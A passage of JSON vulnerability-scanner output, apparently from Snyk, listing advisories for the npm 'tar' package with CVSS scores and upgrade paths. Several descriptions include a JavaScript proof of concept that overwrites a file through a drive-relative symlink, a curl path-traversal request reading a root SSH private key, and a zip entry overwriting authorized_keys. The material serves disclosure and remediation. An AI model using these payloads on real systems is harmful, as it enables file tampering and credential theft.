"https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious 